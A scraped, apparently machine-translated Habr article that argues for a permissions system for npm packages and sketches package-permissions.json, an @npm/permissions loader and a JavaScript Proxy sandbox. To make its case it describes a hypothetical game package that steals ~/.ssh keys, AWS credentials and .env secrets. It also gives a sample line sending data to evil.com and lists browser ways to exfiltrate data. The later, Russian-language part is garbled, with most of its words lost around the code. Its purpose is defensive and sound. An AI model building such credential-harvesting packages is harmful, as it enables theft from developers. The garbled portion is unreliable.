package.json
would look something like this: { "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" }
permissions
section of the fancy-logger
package could make the developer think about why the package that writes something to the console has access to the http
module, and that it looks somewhat suspicious.space-invaders
. It was interesting to learn how to make games by writing a game that works in the console, and at the same time substantiate my point of view on the vulnerabilities associated with npm-packages.npx space-invaders
this game with the following command: npx space-invaders
. After its launch, you could immediately start shooting at the aliens and kill time.space-invaders
will go about its business, namely the collection of some data. She will gather information from ~/.ssh/
, ~/.aws/credentials
, from ~/.bash_profile
and other similar places, read the contents of all .env
files that she can reach, including process.env
, look in to the git configuration (in order to find out - whose information it collects), and then it will send it all to my server.npm install
command, I reflect on how vulnerable my system is. Now, looking at the progress indicator of the installation, I think about how many standard folders and files on my laptop, the contents of which should not fall into the wrong hands.SELECT * from users
command, then http.get('http://evil.com/that-data')
. Maybe it was precisely because of the possibility of such attacks that I encountered advice that passwords should not be stored in databases as plain text?package-permissions.json
, which sets permissions for Node.js and for the browser and contains a list of packages that need these permissions. With this approach, it would be necessary to list all the packages in such a file, and not just those that are in the dependencies
section of the project package.json
file.package-permissions.json
might look like. { "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } }
http
Node.js module.npm install
command will fail with the following error: “The add-two-number
package required by the fancy-logger
package requested access to the http
Node.js module. Run the npm update-permissions add-two-numbers
command to allow this, and then run the npm install
command again. ”fancy-logger
is the package that is in your package.json
file (it is assumed that you are familiar with this package), and the package add-two-numbers
is a fancy-logger
dependency that you have never heard of.package-permissions.json
will be seen in the pull request, that is, there will be a chance that another developer, more responsible, will pay attention to this.fancy-logger
. We inform you that add-two-number
, the package you use, has requested permission to work with the http
module. The permissions of your package shown at npmjs.com/package/fancy-logger
have been updated accordingly. ”add-two-numbers
can be quite sure that if he requests permission to work with the http
module, this will trigger a multitude of “alarms” all over the world.permissions
section is missing from package.json
).permissions
to package.json
as an empty object. And, if the authors of the packages are sufficiently interested in that dependency permissions do not “burden” their packages, they will try to ensure that these dependency packages also do not require special permissions, for example, by making corresponding pull requests in the dependency repository.package-permissions.json
file will provide an easy-to-read summary for a security professional who assesses potential holes in the application and will allow you to ask specific questions about the disputed packages and their permissions.permissions
property can be widely distributed among approximately 800,000 npm packages and make npm safer.@npm/permissions
.node -r @npm/permissions index.js
.permissions
section of the package.json
files of other packages. If the author of a certain package lovely-logger
did not declare the need for this package in the Node.js http
module, this means that such a package will not be able to access this module.methods
package loads the Node.js http
module, but does not send any data with it. It simply takes the http.METHODS
object, converts its name to lower case, and exports it as a classic npm package. Now this package looks like an excellent target for an attacker - he has 6 million downloads per week, while he has not changed for 3 years. I could write to the authors of this package and invite them to give me his repository.methods
package, it would be better to assume that it does not need the network
permission, but not the permission giving access to the http
module. Then this restriction can be fixed by means of an external mechanism and neutralize any attempts by this packet to send some data from the systems in which it operates.@npm/permissions
package could also restrict access from one package to any other packages that were not listed as its dependencies. This will prevent the package, for example, from importing something like fs-extra
and request
, and using the capabilities of these packages to read data from the file system and send the read data to the attacker.node-sass
needs access to materials located within the directory of my project, but I see no reason why this package needs access to something outside this directory.@npm/permissions
package will need to be added to projects manually. Perhaps, during the transition period, during the elimination of the inevitable malfunctions, this is the only reasonable approach to using such a mechanism. But to ensure real security, it is necessary that this package be rigidly embedded in the system, as it will be necessary to take into account the permissions and when running the package installation scripts."enforcePermissions": true
in the project package.json
file will tell npm that any scripts would be launched with the forced use of the permissions declared by them.network
. There may be other permissions in this environment (like those that regulate access to the DOM or local storage), but here I assume that our main concern is the possibility of data leakage.fetch
.EventSource
constructor.XMLHttpRequest
.innerHTML
property of various elements (you can create new elements).new Image()
command new Image()
image src
property can serve as a means of exfiltration of data)document.location
, window.location
, and so on.src
properties of an existing image, an iframe
element, or something like that.target
property of the <form>
element.top
or self
instead of windows
.@npm/permissions-webpack-plugin
), :browser
package-permissions.json
, npm- ( - , ). // (), , function bigFrameworkWrapper(newWindow) { /* -- -- */ const window = newWindow; const document = window.document; // /* -- -- */ const module = { doSomething() { const newDiv = document.createElement('div'); // const newScript = document.createElement('script'); // const firstDiv = document.querySelector('div'); // }, }; return module; } // ( ), , function smallUtilWrapper(newWindow) { /* -- -- */ const window = newWindow; const document = window.document; // /* -- -- */ const module = { doSomething() { const newDiv = document.createElement('div'); // const newScript = document.createElement('script'); // ! const firstDiv = document.querySelector('div'); // }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) { if (prop === 'document') { return new Proxy(target.document, { get(target, prop, receiver) { if (prop === 'createElement') { return new Proxy(window.document.createElement, { apply(target, thisArg, argumentsList) { if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) { console.error('A module without permissions attempted to create a naughty element'); return false; } return target.apply(window.document, argumentsList); }, }); } const result = Reflect.get(target, prop, receiver); if (typeof result === 'function') return result.bind(target); return result; }, }); } return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); // const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element"
function bigFrameworkWrapper(newWindow) {
function smallUtilWrapper(newWindow) {
— , . «» .const newScript = document.createElement('script'); // !
, — script
.const bigFramework = bigFrameworkWrapper(window);
const smallUtil = smallUtilWrapper(restrictedWindow);
«» . , , .const restrictedWindow = new Proxy(window, {
window
, , window
, , window.document.createElement
DOM .Proxy
.Proxy
. , 90% , . , , . , - , , , .iframe
, . sandbox
, , . , , , -.sandbox
<script>
. : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. , , , - create-react-app
, 1.4 , .Source: https://habr.com/ru/post/433010/
All Articles